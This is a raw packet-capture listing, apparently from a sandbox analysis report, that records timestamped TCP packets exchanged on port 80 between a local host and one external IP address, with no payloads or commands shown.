Sep 30, 2024 13:59:24.013175964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.013190031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.013201952 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.013227940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.013251066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.013264894 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.013276100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.013286114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.013289928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.013305902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.013312101 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.013319969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.013328075 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.013334990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.013345003 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.013360977 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.013376951 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.013401031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.013413906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.013427973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.013434887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.013451099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.013465881 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087304115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087326050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087341070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087354898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087369919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087392092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087407112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087424040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087450027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087465048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087480068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087492943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087507010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087527037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087553978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087559938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087559938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087560892 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087560892 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087560892 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087560892 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087579012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087594032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087609053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087609053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087609053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087610960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087609053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087609053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087609053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087626934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087630033 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087639093 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087641001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087650061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087667942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087667942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087682009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087687969 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087697029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087711096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087711096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087724924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087726116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087739944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087747097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087757111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087770939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087775946 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087775946 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087785959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087802887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087802887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087812901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087815046 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087826967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087840080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087841034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087855101 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087857962 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087868929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087879896 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087884903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087889910 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087897062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.087915897 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.087945938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.101800919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.101850033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.101864100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.101910114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.101923943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.101938963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.101953030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.101967096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.101968050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.101967096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.101967096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.101967096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.101996899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.101996899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.101996899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102009058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102041006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102055073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102070093 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102091074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102118969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102123976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102133989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102154016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102161884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102174997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102179050 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102186918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102195024 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102200985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102210999 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102215052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102229118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102231979 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102243900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102253914 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102253914 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102257013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102272034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102272034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102288008 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102304935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102319002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102329016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102333069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102344990 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102345943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102360964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102363110 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102374077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102381945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102389097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102401018 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102416992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102430105 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102432013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102446079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102457047 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102459908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102474928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102483034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102488995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102516890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102530956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102534056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102545023 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102554083 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102560043 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102575064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102576971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102597952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102603912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102612019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102618933 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102626085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102633953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102641106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102731943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102731943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102736950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102757931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102767944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102771997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102787018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102794886 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102809906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102813005 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102824926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102838039 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102840900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102853060 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102865934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102866888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102881908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102900982 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102914095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102951050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102953911 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102966070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102981091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.102988958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.102997065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103005886 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103010893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103018999 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103025913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103034973 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103040934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103053093 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103055954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103069067 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103070021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103091002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103116035 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103121042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103156090 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103266954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103281975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103296995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103303909 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103324890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103327036 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103339911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103348970 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103353977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103357077 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103368044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103382111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103389978 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103399992 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103404999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103419065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103420019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103434086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103445053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103449106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103463888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103473902 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103477955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103492022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.103492022 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103518009 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.103543997 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178036928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178085089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178113937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178129911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178143978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178158998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178174973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178239107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178247929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178247929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178247929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178247929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178247929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178247929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178247929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178252935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178267002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178277016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178291082 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178293943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178308010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178309917 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178328037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178329945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178344011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178344965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178359032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178369999 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178373098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178383112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178385973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178396940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178411961 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178415060 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178427935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178432941 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178443909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178451061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178458929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178463936 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178474903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178486109 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178499937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178500891 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178513050 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178517103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178530931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178538084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178545952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178554058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178561926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178566933 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178577900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178586006 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178601980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178618908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178637028 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178651094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178664923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178673983 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178678036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178688049 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178697109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178710938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178710938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178740025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178747892 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178755045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178771019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178776979 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178786039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.178806067 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.178833008 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.192804098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.192872047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.192876101 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.192894936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.192914963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.192929029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.192943096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193006039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193018913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193032980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193047047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193049908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193049908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193049908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193052053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193052053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193059921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193073988 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193073988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193089962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193120956 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193120956 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193141937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193156004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193169117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193169117 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193181038 CEST	49721	80	192.168.2.6	5.42.101.62
